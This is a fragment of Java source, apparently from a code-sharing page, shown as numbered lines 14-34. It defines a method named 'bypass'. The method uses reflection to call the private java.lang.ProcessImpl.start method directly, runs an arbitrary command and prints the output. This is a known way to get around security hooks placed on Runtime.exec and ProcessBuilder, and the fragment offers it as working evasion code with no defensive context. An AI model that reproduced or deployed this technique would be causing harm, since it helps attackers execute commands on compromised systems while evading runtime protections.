| 14 | } |
| 15 | } |
| 16 | public static void bypass(String[] cmd) throws Exception{ |
| 17 | Map<String,String> envblock=null; |
| 18 | String path=null; |
| 19 | ProcessBuilder.Redirect[] stdHandles=null; |
| 20 | boolean redirectErrorStream=true; |
| 21 | |
| 22 | Class C = Class.forName("java.lang.ProcessImpl"); |
| 23 | Method start = C.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); |
| 24 | start.setAccessible(true); |
| 25 | Process e = (Process) start.invoke(null, cmd, envblock, path, stdHandles, redirectErrorStream); |
| 26 | |
| 27 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(e.getInputStream())); |
| 28 | String line; |
| 29 | while ((line=bufferedReader.readLine())!=null){ |
| 30 | System.out.println(line); |
| 31 | } |
| 32 | bufferedReader.close(); |
| 33 | } |
| 34 | } |